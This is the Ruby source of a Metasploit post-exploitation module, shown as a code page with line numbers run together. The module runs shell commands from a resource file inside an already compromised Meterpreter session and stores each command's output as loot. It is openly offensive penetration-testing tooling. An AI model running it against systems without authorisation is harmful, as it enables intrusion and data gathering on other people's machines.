Path: blob/master/modules/post/multi/gather/multi_command.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Multi Gather Run Shell Command Resource File',12'Description' => %q{13This module will read shell commands from a resource file and14execute the commands in the specified Meterpreter or shell session.15},16'License' => MSF_LICENSE,17'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],18'Platform' => %w[bsd linux osx unix win],19'SessionTypes' => ['meterpreter'],20'Notes' => {21'Stability' => [CRASH_SAFE],22'SideEffects' => [],23'Reliability' => []24}25)26)27register_options(28[29OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])30]31)32end3334def run35raise 'Resource File does not exist!' unless ::File.exist?(datastore['RESOURCE'])3637hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']38print_status("Running module against #{hostname} (#{session.session_host})")3940::File.open(datastore['RESOURCE'], 'rb').each_line do |cmd|41next if cmd.strip.empty?42next if cmd.start_with?('#')4344begin45tmpout = "\n"46tmpout << "*****************************************\n"47tmpout << " Output of #{cmd}\n"48tmpout << "*****************************************\n"49print_status "Running command #{cmd.chomp}"50tmpout << cmd_exec(cmd.chomp)51vprint_status(tmpout)52command_log = store_loot(53'host.command',54'text/plain',55session,56tmpout,57"#{cmd.gsub(%r{\.|/|\s}, '_')}.txt",58"Command Output '#{cmd.chomp}'"59)60print_good("Command output saved to: #{command_log}")61rescue StandardError => e62print_bad("Error Running Command #{cmd.chomp}: #{e.class} #{e}")63end64end65end66end676869